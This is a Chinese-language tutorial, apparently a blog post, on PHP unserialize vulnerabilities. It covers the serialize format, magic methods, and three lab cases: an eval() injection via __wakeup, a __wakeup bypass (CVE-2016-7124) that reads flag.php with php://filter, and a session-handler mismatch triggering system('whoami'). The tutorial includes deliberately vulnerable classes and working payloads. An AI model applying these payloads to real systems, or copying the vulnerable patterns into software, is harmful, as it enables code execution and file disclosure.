serialize:函数用于序列化对象或数组,并返回一个字符串
unserialize:函数用于将通过serialize函数序列化后的对象或数组进行反序列化,并返回原始的对象结构
案例
<?php
header("Content-Type: text/html;charset=utf-8");
$a = array('张三','李四',18);
$data = serialize($a);
echo $data;
?>
**
简单说明下序列化字符串
a:3 ——> 代表集合中有3个元素,a则是array类型(o则是object,s则是string,i则是integer等等)
i:0;s:6:"张三" ——> i:0则是第一个元素,s:6则是string,字符串长度为6,元素是张三
i:2;i:18 ——> i:2则是第三个元素,1:18则是int,整数不计算长度,元素是18
a – array
b – boolean
d – double
i – integer
o – common object
r – reference
s – string
C – custom object
O – class
N – null
R – pointer reference
U – unicode string
N 表示的是 NULL
PHP反序列化漏洞
PHP类中有一种特殊函数存在并称他们为魔法函数(magic函数),命令都是以符号__开头,例如如下:
__construct() 当一个对象创建时触发
__destruct() 当一个对象被销毁时触发
__toString() 把类当作字符串使用时触发
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据时
__set() 用于将数据写入不可访问的属性
__wakeup() 使用unserialize之后触发
__sleep() 使用serialize之前触发
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__invoke() 当脚本尝试将对象调用为函数时触发
__autoload() 尝试加载未定义的类时触发
__clone() 当对象复制完成时触发
PHP反序列化漏洞利用前提
(1) unserialize函数的参数可控
(2) 脚本中存在一个构造函数construct()、析构函数destruct()、__wakeup函数中有向php文件中写数据的操作的类
(3) 所写的内容需要有对象中的成员变量的值
在网上找了一些案例
案例一:
# 新建test.php,代码如下
<?php
class A{
public $test;
function __wakeup(){
eval($this->test);
}
}
$a = $_GET['cmd'];
unserialize($a);
?>
从上面代码可以看出,传入$cmd值可控,并且如果$test参数也是可控的,__wakeup函数在unserialize之后触发,那么就可以用eval函数进行命令执行
# 新建test2.php,代码如下
<?php
class A{
public $test="phpinfo();";
}
$A = new A();
echo serialize($A);
?>
访问test2.php,得到序列化字符串
然后再将序列化字符串代入,命令执行完成
案例二:
wakeup()魔法函数绕过**
# 新建test2.php,代码如下
<?php
class Connection
{
public $file;
public function __construct($file)
{
$this->file = $file;
}
public function __sleep()
{
$this->file = 'sleep.txt';
return array('file');
}
public function __wakeup()
{
$this->file = 'wakeup.txt';
}
public function __destruct()
{
include($this->file);
}
}
$obj2 = unserialize($_GET['un']);
?>
从上面代码可以看出,传入$un参数是可控的,并且上面代码执行顺序是construct、wakeup、最后执行destruct,并且wakeup中的file被重新赋值,最后文件包含也是直接包含的
思路首先生成一个序列化字符串
# 新建立test.php
<?php
class Connection
{
public $file="php://filter/convert.base64-encode/resource=flag.php";
}
$a = new Connection();
echo serialize($a);
?>
访问test.php,得到如下:
将得到的序列化字符串,传入test2.php的$un参数中,发现失败
注:失败原因:上面提到过wakeup中的file被重新赋值,直接默认读取wakeup.txt内容,这就需要绕过wakeup函数,利用CVE-2016-7124漏洞,当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
session常见参数**
session.save_handler # session保存形式(php、php_serialize、php_binary)。默认为files
session.save_path # session保存路径。
session.serialize_handler # session序列化存储所用处理器。默认为php。
session.upload_progress.cleanup # 一旦读取了所有POST数据,立即清除进度信息。默认开启
session.upload_progress.enabled # 将上传文件的进度信息存在session中。默认开启。
# session.save_handler值说明
# 当session.save_handler = php时
name|s:7:"mochazz" 格式:键名 + 竖线 + serialize处理后的值
# 当session.save_handler = php_serialize时,php版本一定要大于5.5.4
a:1:{s:4:"name";s:7:"mochazz";} 格式:serialize处理后
# 当session.save_handler = php_binary时
names:7:"mochazz"; 格式:键名的长度对应的ASCII字符+键名+经过serialize函数序列化处理的值
**
<?php
ini_set('session.serialize_handler', 'php');
session_start();
$_SESSION['name'] = 'mochazz';
?>
当 session.save_handler = php 时
当 session.save_handler = php_serialize 时,**php版本一定要大于5.5.4
当 session.s**ave_handler = php_binary 时
案例三:
# demo.php 如下:
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["spoock"]=$_GET["a"];
?>
上面代码session.serialize_handler采用的是php_serialize,并且参数$a是可控的
# test.php 如下:
<?php
ini_set('session.serialize_handler', 'php');
session_start();
var_dump($_SESSION);
class lemon {
var $hi;
function __construct(){
$this->hi = 'phpinfo();';
}
function __destruct() {
eval($this->hi);
}
}
?>
当对象创建时,construct会被执行,$hi是被覆盖,执行phpinfo
当对象销毁时,destruct会被执行,eval函数就会被调用
生成一个序列化字符串
<?php
class lemon {
public $hi = "system('whoami')";
}
$a = new lemon();
echo serialize($a);
?>
在访问就会生成seesion文件
漏洞成因
1、存储session时,使用pphp_serialize方式来处理session
2、使用seesion时,使用php方式处理session
3、当使用session_start()函数的时候,就会自动反序列化session文件中的对象